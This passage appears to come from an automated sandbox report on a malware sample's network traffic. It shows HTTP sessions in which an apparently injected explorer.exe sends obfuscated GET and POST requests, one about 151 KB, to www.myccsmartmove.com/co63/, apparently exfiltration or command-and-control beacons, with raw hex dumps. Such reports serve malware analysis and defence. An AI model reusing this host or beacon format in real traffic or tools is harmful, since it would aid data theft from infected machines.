WPHxYOgCzvTlt5E_l_7XdcYOnwSGW2QJt_DHtqCUdwL5AVLEyhRydOWS2EN-TUx5(yH3bR2-o1R7VDTwL7~_6S9hMPye3VUOgpIk1TOSigrOaXiUgoOEt_IcKjbHCg1iLycKI_7wXUO8I9nLXCduK2tshb8_3tS6WfvynAxTeo3Wnzs135HdKcDkzAq0~KnRVQ1aNGpEoqH_Uph7pkqgziXUSIcfe_rO9Mqhui(PE62MRDQ5Gk9eWYC6gEDQadBkI2ZhlVHB8qaV69sqk-38dBBysjzT5O63p4aXmDg4iTCyb2g0UgyatDJG2MnqfBEaf5Kywz(O~8BLkKtlpwh8jTlKc-(slprHXBOP~kxUMni8CDg9MWWklWMehLYAK6aMVBcZ~m0Fy70ZOHfh3gtfpqUAeLuUZ3Uv6fijYFTehSRlfbpE4XiWHIVZ5M2JVCATfItIcFm
Jul 20, 2023 11:45:36.382474899 CEST	506	OUT	Data Raw: 4e 41 5a 41 43 50 79 34 61 4e 4b 39 6b 41 6d 71 37 31 6b 53 49 4c 54 56 55 66 6b 4f 45 6d 69 7a 65 73 35 79 7e 52 35 62 67 6d 42 4e 6a 4e 42 76 6c 6c 67 72 37 6e 6f 4b 58 34 6c 4b 47 73 67 75 6e 34 33 33 69 51 72 35 6f 61 34 7a 74 6e 37 61 46 49 Data Ascii: NAZACPy4aNK9kAmq71kSILTVUfkOEmizes5y~R5bgmBNjNBvllgr7noKX4lKGsgun433iQr5oa4ztn7aFIbSDW49(Xxz1nHXQanSuRnVYXdwTrX7R2uZnqsUiRqb2b9qgMJpKVzZcXb3eQDZOHsvDURXt4tjOSdUQOO9Z2JUGWKYg1o0(WVdMc4DGQXDRctlJFi3HNIyryi-GN3S~beBrTEGCxyL9B7LDoHYYU3F5z6ALv~8i2t
Jul 20, 2023 11:45:36.382544041 CEST	516	OUT	Data Raw: 74 76 66 56 56 67 61 4a 66 34 41 6e 4f 46 38 35 37 31 33 49 66 48 32 75 69 55 51 4b 47 37 72 77 7a 4d 47 64 46 41 55 33 52 5f 69 7a 6d 6d 48 34 31 74 6b 72 38 67 73 70 32 4d 4e 6a 4a 53 74 30 52 35 31 4f 75 74 47 65 58 45 6b 56 47 77 31 66 6b 73 Data Ascii: tvfVVgaJf4AnOF85713IfH2uiUQKG7rwzMGdFAU3R_izmmH41tkr8gsp2MNjJSt0R51OutGeXEkVGw1fks(ApBJ8gOXK6bmJVPnapT53uf(zb3BqinFkwjglmtvot_fleSdwRBoMADNaXW69839tR93Tj4f6v0z-nUymVekjhIa-tOG6h_Ga2yeAU0W9w6MX4kIjuii0uhMwJDL3(C(1dCbfOe9oZtRCegFAUi4du0djRutgDIE
Jul 20, 2023 11:45:36.391192913 CEST	524	OUT	Data Raw: 56 79 69 79 64 56 6c 47 62 2d 56 4f 47 48 31 6a 68 34 7a 47 55 59 69 39 78 55 73 6b 78 74 71 36 44 70 4b 4b 30 62 75 42 44 32 69 39 58 79 30 68 34 58 74 4c 4b 6e 32 73 73 57 48 6a 77 70 31 51 70 4a 67 5f 6f 47 31 6a 36 48 75 37 73 6a 49 54 32 30 Data Ascii: VyiydVlGb-VOGH1jh4zGUYi9xUskxtq6DpKK0buBD2i9Xy0h4XtLKn2ssWHjwp1QpJg_oG1j6Hu7sjIT20X4rxJ_1YIeoBlDrEgDijpCMSXDo6cCNWPQN-K8Z8E6l_TLrfJ-(qx5TfAIXxVfGrbUJo7VQlTGBlS3Lp~hWrC0Lky9dhjFc2~mDSfvoAWcTlHhkGTCfAdlsWKoPOBoEOHIDIt7jhAIZf8Vb4Wkjmega22c51uiMww
Jul 20, 2023 11:45:36.406075954 CEST	532	OUT	Data Raw: 77 6f 31 64 74 57 47 57 4f 58 53 45 47 47 55 32 48 32 57 53 69 62 54 30 30 5f 48 33 28 41 67 36 48 36 72 62 48 42 6c 33 4d 57 78 4b 6f 53 57 4c 6a 65 46 42 7a 32 7e 76 70 53 30 38 48 6b 71 37 54 51 48 39 68 4f 6a 73 57 32 75 32 4f 71 48 6b 32 4f Data Ascii: wo1dtWGWOXSEGGU2H2WSibT00_H3(Ag6H6rbHBl3MWxKoSWLjeFBz2~vpS08Hkq7TQH9hOjsW2u2OqHk2Ou85tCeO6HqzQqOYlxQRI27Q7pqjSOLZeTduw~xS8(QjM0HJ0wkfiZpxQDb1C051kmQV_GtV9grSUAlCQYHoEd0a9QRANFU9vyDDsQfoXj5jK~Qr_46qfKA0BQCkW3lT2GQhQSANbpM8SEFXpX9sM5W(qFyVQBygsh
Jul 20, 2023 11:45:36.406075954 CEST	542	OUT	Data Raw: 43 76 31 34 78 53 4d 47 51 68 54 5a 69 62 54 4c 37 4d 4c 68 51 42 28 2d 66 63 50 78 55 73 4f 58 77 58 37 6a 6e 48 32 6f 70 4d 68 75 54 61 66 74 4d 4e 30 4d 76 35 67 4b 37 31 79 57 33 76 6e 57 6c 71 74 6f 44 48 34 42 58 6e 4a 71 4e 4a 68 48 56 43 Data Ascii: Cv14xSMGQhTZibTL7MLhQB(-fcPxUsOXwX7jnH2opMhuTaftMN0Mv5gK71yW3vnWlqtoDH4BXnJqNJhHVCCQM1MEW3HuwO4nF0ZMLbtbYb9bAFmZNKwnncb-oKcXPPM2H2M4Cuz0uu4-DPQ3CNiJZfQ1MbNXskaurqLQU1otLS2aGa468zRnXaZsFzCV0_7J4gTBpADQWd0NeGGo(2WMA9hg(UcH~BLGGQVczvo59PmlB5o1BUm
Jul 20, 2023 11:45:36.406131983 CEST	547	OUT	Data Raw: 6a 51 37 44 48 4b 76 76 46 4b 34 59 37 74 6b 37 39 44 74 65 66 46 6c 46 28 79 7a 38 34 5f 45 47 66 5f 71 6b 28 63 48 55 44 62 54 6b 53 52 30 6d 38 39 70 49 76 5a 4f 57 63 4a 75 50 47 45 65 59 73 53 6d 69 37 76 6c 47 72 45 50 30 64 41 69 57 35 35 Data Ascii: jQ7DHKvvFK4Y7tk79DtefFlF(yz84_EGf_qk(cHUDbTkSR0m89pIvZOWcJuPGEeYsSmi7vlGrEP0dAiW55gbgUswCt7DXJ~Lfp207FVWCOtuLVXK9iSaPS5vpxmrSO8bT6zHe9p-ynAVeTkmtGe1OtsxRIFYRePt0yTz9CBFW9zuQN957oTthL~AkHsKc_88LGrjwTARty~p8RjsSRoEyF3DoowlRkyzPwc-kGdrpQ52b1JJ(rx
Jul 20, 2023 11:45:36.406168938 CEST	557	OUT	Data Raw: 6e 48 68 35 34 71 45 5f 56 2d 62 6d 53 6e 70 78 38 68 31 48 43 6d 48 70 30 32 43 2d 38 68 48 6a 37 46 62 56 35 6c 49 79 37 73 51 67 56 4a 34 2d 55 5f 6c 62 76 34 43 4e 43 57 6c 76 4b 72 6e 4f 35 45 30 2d 51 6a 4a 34 4b 5f 71 64 33 4a 43 6a 34 4d Data Ascii: nHh54qE_V-bmSnpx8h1HCmHp02C-8hHj7FbV5lIy7sQgVJ4-U_lbv4CNCWlvKrnO5E0-QjJ4K_qd3JCj4Ma_ysuBXtZHOfwz3qPl0S4Bn_vwehhfc8tIdptbnKtAuzBO7Q(cMOOtud3LBneSo0vSevChk74mD0Rh5w0S8XflJ45j4F(esz(DbbzFvV8Bit1fvfsSM1pEWpP3ivaTk9fLB0NHGyV688ZLK4ntjqO5If1pCyWSAbc
Jul 20, 2023 11:45:36.406203032 CEST	560	OUT	Data Raw: 6c 64 35 45 7a 45 58 50 62 75 76 74 6c 71 73 68 4c 67 73 41 62 36 6e 36 4d 39 69 5a 33 64 69 74 70 66 5a 4d 4a 4a 6a 61 43 79 43 77 6c 75 32 71 4a 59 38 32 6c 74 6d 68 67 73 62 61 38 50 43 6f 39 4f 67 77 30 36 72 2d 61 4f 61 72 39 44 46 33 46 43 Data Ascii: ld5EzEXPbuvtlqshLgsAb6n6M9iZ3ditpfZMJJjaCyCwlu2qJY82ltmhgsba8PCo9Ogw06r-aOar9DF3FCi_5Sbp9ti_EZ2-L7zScPpg0qiyAO16b7jOhstY2SI8ymxbL6Cau8QLq1YTLz3wAnBKx4VBJ4Sux0bURrtQWGPHDivGQUJF9eMPpBhswQh3yA32K9FAvcsXhgpZqIr55t1qZsEKy_mgjYULgl4Nh7oPR9bHPwuK2fZ
Jul 20, 2023 11:45:36.414805889 CEST	568	OUT	Data Raw: 4e 45 47 6f 78 64 77 6a 48 38 43 68 6a 5a 74 6d 34 52 49 4c 7e 75 67 5a 41 6a 52 63 41 75 59 52 65 5f 41 76 32 50 52 35 68 5a 52 75 45 69 36 67 30 61 35 61 45 4d 37 65 62 73 41 58 58 78 30 49 45 35 33 61 30 77 72 6d 43 72 36 63 33 59 35 70 55 56 Data Ascii: NEGoxdwjH8ChjZtm4RIL~ugZAjRcAuYRe_Av2PR5hZRuEi6g0a5aEM7ebsAXXx0IE53a0wrmCr6c3Y5pUVldUIUpkUMdfGqKG30EWwTCU3wXvCOzndJeOVyQ(1NarGR8KTKozPQly59JRw6FsXeAW0A3SQJyvxz6QHBXDRlTlhsQ7-QCI1h4MzEz(Ml4ZTPZCs3uuiUyvaGBJqQxbsOirk7ut-VbELFrQ8DpVImA2XBlMPDGC9Q
Jul 20, 2023 11:45:36.414805889 CEST	571	OUT	Data Raw: 32 70 49 31 69 37 72 48 62 55 52 59 67 52 6f 4d 69 68 36 76 4f 57 58 56 4e 52 31 43 38 59 44 4f 6e 66 52 55 47 49 37 34 53 48 54 30 47 38 33 6e 37 39 57 4c 53 64 50 47 65 41 4c 4c 47 71 75 62 59 55 61 38 4b 63 59 73 46 55 34 39 73 73 54 50 78 63 Data Ascii: 2pI1i7rHbURYgRoMih6vOWXVNR1C8YDOnfRUGI74SHT0G83n79WLSdPGeALLGqubYUa8KcYsFU49ssTPxcVwCnNiKtVAXnel~0HBe9sxCaQyDRN4nR2k3RATn-9i~1HiutDteGdr2D(zO9FR2BMwyhw3D0rd6tkP5JTZjo(Lwx6_PjaYMJYppZoSViR6kAteO-~Az6iaQIx1~g(zuBaXlQHFcxHeWCaZJ3Pn95eTGc6bSerPFIW
Jul 20, 2023 11:45:36.496334076 CEST	642	IN	HTTP/1.1 405 Method Not Allowed Server: openresty Date: Thu, 20 Jul 2023 09:45:36 GMT Content-Type: text/html Content-Length: 154 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_R/ex/bZytcrn+mdS8YhV4IEoSKT9oNHNKUPqIjguyZiSsiUtRdiujE/fk+SgLzGG0HDyRB3Uyq6OtQGUGIBFfQ Via: 1.1 google Connection: close
Jul 20, 2023 11:45:36.497956991 CEST	642	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49723	76.223.26.96	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:45:54.735474110 CEST	644	OUT	GET /co63/?aJElwV=McyR/z78/oMNrvlFuqxD/V8JfWPC4TTnrx7QyB/aq5OEZJfdbD3j+IdLq+ssY6HN52vi&lz=9rXXjDMXIb6HXH- HTTP/1.1 Host: www.myccsmartmove.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 20, 2023 11:45:54.776949883 CEST	644	IN	HTTP/1.1 403 Forbidden Date: Thu, 20 Jul 2023 09:45:54 GMT Content-Type: text/html Content-Length: 146 Connection: close Server: nginx Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49724	76.223.26.96	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:45:56.827234030 CEST	648	OUT	POST /co63/ HTTP/1.1 Host: www.myccsmartmove.com Connection: close Content-Length: 1484 Cache-Control: no-cache Origin: http://www.myccsmartmove.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.myccsmartmove.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 45 2d 7e 72 68 57 48 51 69 70 63 2d 32 73 6b 6a 38 39 55 6f 6b 77 74 6e 56 6a 57 54 31 43 54 58 39 57 37 56 6a 52 54 31 37 4d 61 63 66 59 54 68 4b 42 75 39 30 49 63 38 36 49 49 4f 62 61 33 71 6b 78 54 68 72 6c 47 63 5a 4c 7a 51 76 77 57 53 68 62 46 34 4a 54 6c 30 62 62 6e 72 7a 6d 41 56 35 70 4b 6f 53 56 76 6b 31 7a 59 6c 6c 59 4c 73 52 56 79 71 4e 72 48 78 4c 4b 31 61 6c 4d 43 57 42 39 45 37 32 42 77 42 4c 58 44 4c 6d 33 78 34 41 44 38 6f 71 73 68 79 59 56 64 6e 49 56 4b 41 65 30 71 44 76 61 4d 31 6d 56 6e 4d 38 46 51 36 4d 30 56 49 67 75 4c 78 28 52 4b 34 4f 45 6c 37 53 6e 49 54 62 70 46 54 65 6e 66 4c 63 49 55 77 69 32 50 33 59 4a 79 51 4e 34 64 34 53 41 67 63 79 62 4c 66 78 5a 7e 73 5a 35 7e 6a 4e 50 44 6b 33 51 4e 6e 36 43 53 72 46 37 35 4b 6e 78 41 72 56 62 75 37 79 63 54 57 6e 76 55 56 6a 52 7e 4f 6e 5a 35 73 75 36 79 68 66 76 6f 53 41 57 52 65 76 59 52 5f 56 39 6e 57 35 72 6c 30 38 47 6c 6b 6c 70 58 6f 54 64 43 69 6d 54 46 39 79 6e 43 77 4a 36 64 68 50 69 50 4a 42 74 71 33 75 7a 45 37 49 78 35 72 35 65 36 38 53 69 37 42 4f 53 57 4b 31 51 51 67 31 77 4e 47 33 2d 61 73 5a 52 44 73 5a 65 30 31 55 58 30 57 37 4f 50 4f 33 72 4a 79 32 44 57 65 64 6b 63 6d 32 77 6d 69 7a 62 74 6f 31 67 31 50 74 67 4f 77 34 71 61 74 47 64 65 4d 32 45 57 48 73 75 39 46 6b 43 69 64 35 54 34 75 46 33 41 6e 4e 72 77 67 63 58 73 79 72 75 54 46 64 46 71 63 31 77 69 33 4a 65 6c 39 62 79 49 43 72 33 56 36 30 4a 4b 2d 41 75 74 36 41 5a 50 31 35 65 69 59 6f 46 4f 70 72 65 4b 48 63 37 50 38 42 62 56 53 32 36 28 72 38 44 39 66 43 4a 7e 4e 31 54 70 54 54 47 43 61 66 67 57 69 35 62 46 5f 71 59 38 32 72 72 74 4f 55 76 74 37 47 30 39 32 67 5f 6f 64 4e 47 49 4c 63 39 76 75 71 58 69 4a 37 52 54 70 32 38 4c 4e 77 30 50 74 78 6d 6a 79 36 79 64 77 28 75 39 64 45 37 31 51 77 30 5a 43 67 32 72 6d 48 42 6a 36 4c 66 37 33 54 35 77 57 6c 4e 52 37 5a 7a 38 56 4c 32 4b 4e 59 2d 37 78 64 51 68 6b 58 2d 30 50 72 56 68 70 66 4e 50 46 4b 45 37 6e 51 38 4a 59 54 35 33 4e 55 57 7e 33 37 4f 76 79 77 4c 73 56 6b 36 30 5a 6c 37 4a 62 65 2d 7a 66 58 72 6f 64 32 6b 6b 34 55 37 6e 4e 53 4d 47 76 54 39 59 32 4a 61 77 53 7a 70 45 78 6e 54 69 35 56 53 48 4c 34 72 4b 4d 64 30 66 68 55 64 75 72 69 66 59 50 42 67 47 4f 46 6f 28 4d 33 58 59 66 7a 4b 4f 39 55 72 50 36 38 48 30 6a 61 36 50 42 6d 66 67 75 28 5f 4b 36 7e 65 6d 53 55 78 53 59 43 73 50 78 53 63 31 59 73 31 63 39 4d 75 49 78 62 44 78 67 47 30 4f 36 6b 4e 31 4d 6c 31 57 31 6d 52 70 71 7e 32 6c 50 58 52 6a 65 4c 37 35 66 78 6e 75 4c 28 66 46 4f 47 73 57 79 73 64 4a 43 59 48 7e 69 67 77 4f 4f 7e 58 30 2d 6c 35 5a 6a 6c 57 52 77 4b 63 79 42 4e 72 33 55 4b 47 4f 6d 4c 39 4e 75 4a 73 38 48 50 69 75 73 56 2d 57 41 64 4c 66 4b 57 43 44 77 41 78 4f 57 48 69 33 4e 73 48 4f 76 42 30 56 36 6b 5f 4e 6a 47 78 44 56 31 74 77 48 74 6c 75 4b 59 74 64 4b 43 63 61 59 4d 48 76 35 6a 73 71 53 77 62 6a 6c 45 46 66 41 28 58 41 6c 75 72 37 4c 42 53 4d 4e 54 36 4e 4f 4a 58 28 58 36 78 62 63 77 57 4b 43 53 4b 4d 34 49 61 5a 4c 77 67 56 54 57 79 34 75 32 68 65 35 7a 6a 45 69 4a 35 7e 4d 66 38 72 78 49 44 34 5f 76 4c 36 45 68 73 7a 39 53 30 33 46 50 49 4e 4d 52 44 4a 4a 32 2d 6e 5a 32 68 53 7a 4d 5f 67 4c 38 51 57 72 43 6a 76 5f 7a 37 30 34 70 4b 61 4c 55 52 54 5f 63 76 67 63 6d 6f 33 75 38 54 6a 71 7e 6d 73 7a 36 64 70 44 55 35 75 4f 76 70 56 6a 78 62 36 64 4d 48 69 39 28 41 6c 6e 50 6b 74 74 68 55 56 4b 72 73 76 50 42 57 35 4a 30 4a 73 41 6e 67 47 34 49 6a 72 51 39 78 53 52 30 66 44 61 6d 72 44 76 31 75 31 64 59 6c 37 4d 4a 66 7a 2d 6e 55 55 4f 78 32 35 65 64 76 59 39 70 44 30 33 73 59 44 69 75 46 6b 64 66 66 67 4b 43 32 33 48 4e 43 63 59 44 42 72 7a 61 39 4e 53 6d 35 38 66 53 69 70 51 72 50 6b 49 69 7a 36 72 4c 79 35 5f 52 6c 4b 79 61 76 45 4c 7a 67 72 74 54 42 33 7a 79 69 6f 48 64 30 6d 31 49 66 6a 43 65 4e 6a 38 42 34 71 68 4c 63 76 33 30 56 75 6f 4e 48 63 30 58 6c 36 68 51 32 71 4a 34 5a 33 50 7e 6b 69 52 34 44 41 55 74 2d 36 4c 42 59 31 33 4f 6d 5a 4d 61 5f 51 59 79 68 66 6b 72 4b 77 56 48 33 7e 61 59 31 56 61 79 39 57 77 38 61 47 33 50 77 4b 30 67 75 7a 44 35 61 47 4c 69 43 35 5a 38 73 49 79 7a 72 4a 45 75 6d 54 76 Data Ascii: aJElwV=E-~rhWHQipc-2skj89UokwtnVjWT1CTX9W7VjRT17MacfYThKBu90Ic86IIOba3qkxThrlGcZLzQvwWShbF4JTl0bbnrzmAV5pKoSVvk1zYllYLsRVyqNrHxLK1alMCWB9E72BwBLXDLm3x4AD8oqshyYVdnIVKAe0qDvaM1mVnM8FQ6M0VIguLx(RK4OEl7SnITbpFTenfLcIUwi2P3YJyQN4d4SAgcybLfxZ~sZ5~jNPDk3QNn6CSrF75KnxArVbu7ycTWnvUVjR~OnZ5su6yhfvoSAWRevYR_V9nW5rl08GlklpXoTdCimTF9ynCwJ6dhPiPJBtq3uzE7Ix5r5e68Si7BOSWK1QQg1wNG3-asZRDsZe01UX0W7OPO3rJy2DWedkcm2wmizbto1g1PtgOw4qatGdeM2EWHsu9FkCid5T4uF3AnNrwgcXsyruTFdFqc1wi3Jel9byICr3V60JK-Aut6AZP15eiYoFOpreKHc7P8BbVS26(r8D9fCJ~N1TpTTGCafgWi5bF_qY82rrtOUvt7G092g_odNGILc9vuqXiJ7RTp28LNw0Ptxmjy6ydw(u9dE71Qw0ZCg2rmHBj6Lf73T5wWlNR7Zz8VL2KNY-7xdQhkX-0PrVhpfNPFKE7nQ8JYT53NUW~37OvywLsVk60Zl7Jbe-zfXrod2kk4U7nNSMGvT9Y2JawSzpExnTi5VSHL4rKMd0fhUdurifYPBgGOFo(M3XYfzKO9UrP68H0ja6PBmfgu(_K6~emSUxSYCsPxSc1Ys1c9MuIxbDxgG0O6kN1Ml1W1mRpq~2lPXRjeL75fxnuL(fFOGsWysdJCYH~igwOO~X0-l5ZjlWRwKcyBNr3UKGOmL9NuJs8HPiusV-WAdLfKWCDwAxOWHi3NsHOvB0V6k_NjGxDV1twHtluKYtdKCcaYMHv5jsqSwbjlEFfA(XAlur7LBSMNT6NOJX(X6xbcwWKCSKM4IaZLwgVTWy4u2he5zjEiJ5~Mf8rxID4_vL6Ehsz9S03FPINMRDJJ2-nZ2hSzM_gL8QWrCjv_z704pKaLURT_cvgcmo3u8Tjq~msz6dpDU5uOvpVjxb6dMHi9(AlnPktthUVKrsvPBW5J0JsAngG4IjrQ9xSR0fDamrDv1u1dYl7MJfz-nUUOx25edvY9pD03sYDiuFkdffgKC23HNCcYDBrza9NSm58fSipQrPkIiz6rLy5_RlKyavELzgrtTB3zyioHd0m1IfjCeNj8B4qhLcv30VuoNHc0Xl6hQ2qJ4Z3P~kiR4DAUt-6LBY13OmZMa_QYyhfkrKwVH3~aY1Vay9Ww8aG3PwK0guzD5aGLiC5Z8sIyzrJEumTvekM8UM1iCSmMlRjG3e~Mo7~qpeqBRASvEgzxh40LwzoaHrYEl8Pv3T5i3PsV3K93sJR5w4uMoNO7MmTVpyJQzS2EbzER0-B1~u1yaUT8UuhMO8o0BShCew).YrZjYDH

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49725	76.223.26.96	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:45:56.851581097 CEST	661	OUT	POST /co63/ HTTP/1.1 Host: www.myccsmartmove.com Connection: close Content-Length: 151296 Cache-Control: no-cache Origin: http://www.myccsmartmove.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.myccsmartmove.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 45 2d 7e 72 68 55 6e 63 78 4a 5a 79 79 75 78 45 6f 76 63 67 67 68 63 6f 65 45 76 54 34 79 61 6c 77 68 75 32 6a 52 6a 78 75 5a 47 4f 59 37 4c 68 64 54 48 30 36 49 63 37 34 49 49 4e 52 4b 36 64 34 79 53 75 72 6b 79 32 5a 4c 72 66 67 79 76 35 77 65 52 56 46 6a 59 50 54 36 43 72 33 6a 4d 57 35 4c 33 71 56 55 6e 6b 78 48 52 6a 70 71 54 33 58 68 43 6d 58 72 62 7a 45 72 64 54 79 50 6d 6a 44 66 49 5f 38 68 51 35 4a 6e 4c 63 6f 32 77 56 43 6c 68 6e 6e 34 4a 31 54 32 68 68 49 32 7e 79 53 52 4b 68 7a 4b 45 41 36 42 7a 53 7e 54 63 79 4d 31 52 31 70 4f 61 46 30 32 65 54 41 56 56 72 41 55 45 54 65 61 56 44 47 56 48 4a 5a 50 41 6f 68 6c 32 50 50 4b 36 31 64 73 52 37 63 7a 5a 55 31 59 76 50 28 63 47 66 62 37 65 6e 48 39 62 59 36 51 4a 75 7a 33 61 57 49 63 6c 45 6e 67 63 32 5a 35 37 34 74 4e 28 74 6c 63 59 42 73 67 65 79 72 61 31 53 76 4b 43 48 59 73 4a 45 4f 6c 6f 59 73 62 6f 69 49 74 72 36 37 72 74 34 6c 33 6c 63 6c 70 54 61 54 39 33 62 28 54 46 37 32 6b 32 66 4a 37 35 68 50 69 28 5a 42 59 32 33 75 53 31 68 4f 33 4e 75 32 2d 37 6b 52 79 72 57 45 41 79 42 31 51 67 76 31 41 46 47 6c 73 7e 73 4f 67 7a 72 4b 4f 30 31 4e 48 30 44 37 4f 50 47 33 72 49 6b 32 42 32 53 63 67 45 6d 69 44 79 61 79 75 78 6d 6b 44 70 6e 7a 51 4f 73 30 4c 62 70 4c 39 44 6a 32 44 7a 42 73 4f 5a 46 6c 57 61 65 38 79 49 71 44 6d 41 34 55 61 45 77 57 33 30 59 72 75 76 32 61 30 36 36 78 52 4f 6d 4f 65 6c 36 4f 53 55 56 76 79 35 63 67 4c 53 74 43 6f 73 66 54 64 66 54 35 2d 32 44 6f 69 4b 74 71 5a 69 54 58 66 76 4b 4b 49 35 47 6d 34 6e 63 34 43 51 4b 64 4e 75 63 30 7a 39 6c 55 6d 7a 6a 64 68 75 6f 35 74 67 71 74 35 35 33 6d 4b 67 70 4d 5f 41 67 51 6c 4e 5a 69 2d 67 77 43 79 49 6c 58 65 48 36 76 33 75 65 74 54 58 6c 7a 64 69 4c 32 47 44 6a 33 48 7a 7a 28 42 74 33 6d 75 52 49 46 37 35 50 68 6c 46 39 69 47 7e 78 44 33 50 4f 4e 5f 58 45 62 59 5a 7a 75 49 73 6f 50 6b 45 6f 59 33 57 67 52 36 33 70 66 41 38 43 46 64 73 36 76 77 68 41 55 4d 4b 69 66 52 47 6d 66 5f 5a 42 41 34 50 73 59 48 58 64 68 74 6a 6e 79 49 45 6f 31 36 41 67 69 2d 46 75 64 62 48 4f 45 65 67 6f 67 32 5a 65 4d 5f 65 51 49 4c 6d 66 54 65 38 49 59 59 35 43 70 62 6f 77 6f 54 47 43 51 77 48 57 39 49 33 30 4e 33 7a 64 62 50 79 51 67 6f 30 2d 49 51 57 56 46 66 54 70 33 58 67 44 7a 36 76 36 47 65 28 36 34 41 55 67 5a 5a 58 46 71 50 67 75 31 76 4b 69 77 2d 72 77 55 7a 75 59 42 70 50 78 48 5a 6c 57 73 31 63 6a 45 4b 49 56 62 7a 78 6e 48 78 69 5f 6b 4e 56 30 6c 33 37 39 33 68 55 58 70 42 42 49 64 68 6a 53 4e 35 42 59 78 6c 72 39 28 66 42 64 4d 50 7e 4e 74 74 41 56 53 58 7e 69 6d 79 43 67 31 44 51 37 67 2d 59 6b 73 57 77 6c 42 63 7e 58 44 5f 76 74 46 6d 47 67 42 75 74 75 52 39 34 4c 54 54 61 61 47 64 6e 4e 65 6f 57 45 4a 77 7a 6e 4f 41 4c 4f 55 67 62 4e 6e 33 36 57 4b 56 46 31 72 76 4e 4e 45 69 7a 34 35 4e 4e 4d 73 69 36 5f 66 5f 4a 52 49 4d 61 78 4b 58 4b 6f 34 38 7a 4f 34 70 57 38 55 45 44 69 6d 31 77 6d 76 59 32 4a 45 78 5a 6b 55 49 4a 56 41 31 50 5a 32 68 4f 4d 7a 57 6e 37 58 59 77 64 4c 37 78 42 35 67 68 69 61 57 30 2d 39 78 36 4a 78 57 55 74 46 34 43 31 52 5a 58 6a 46 6a 59 45 33 4a 4b 49 77 66 65 42 55 52 66 43 45 59 39 65 65 52 34 64 30 73 6e 38 33 57 4f 4c 41 66 45 76 78 7a 33 47 45 7a 72 65 6a 76 38 51 32 4a 37 58 5a 42 72 61 51 65 6c 6b 6e 5a 79 37 67 55 4b 32 31 48 6c 51 79 76 46 69 57 62 4f 50 77 70 35 41 7a 65 61 71 66 79 57 59 39 78 77 63 58 58 77 6d 32 30 39 35 70 2d 75 63 51 46 74 68 30 49 30 79 67 45 69 34 46 7a 37 51 76 47 75 52 37 50 48 5a 73 36 36 62 38 74 30 6c 56 51 4c 51 4f 65 28 36 6b 47 77 6c 77 53 5a 4d 48 4d 63 73 72 57 34 49 71 49 72 30 39 47 38 55 55 4d 4e 4d 49 58 43 78 50 54 67 73 4f 77 33 5a 63 72 52 6a 38 4c 46 50 55 48 35 48 7e 61 30 79 6c 77 47 57 62 56 6f 6b 49 48 50 41 5a 75 35 56 39 52 76 4d 62 6b 50 4f 76 51 67 33 65 6b 4f 4d 4e 38 62 48 5a 74 69 37 46 4c 71 69 41 2d 76 51 28 45 47 53 49 33 6b 79 4b 6d 54 54 57 6b 69 49 34 5a 66 32 7a 51 4f 4c 6e 57 74 6f 6e 66 37 33 47 70 5a 55 5a 54 73 5f 55 4a 64 5f 74 32 7a 55 75 5a 45 38 43 6c 65 54 56 78 56 36 36 63 76 4e 36 37 69 51 57 44 69 50 6d 4d 48 61 79 59 65 46 68 41 31 56 32 39 63 6e 75 63 42 51 74 68 43 79 Data Ascii: 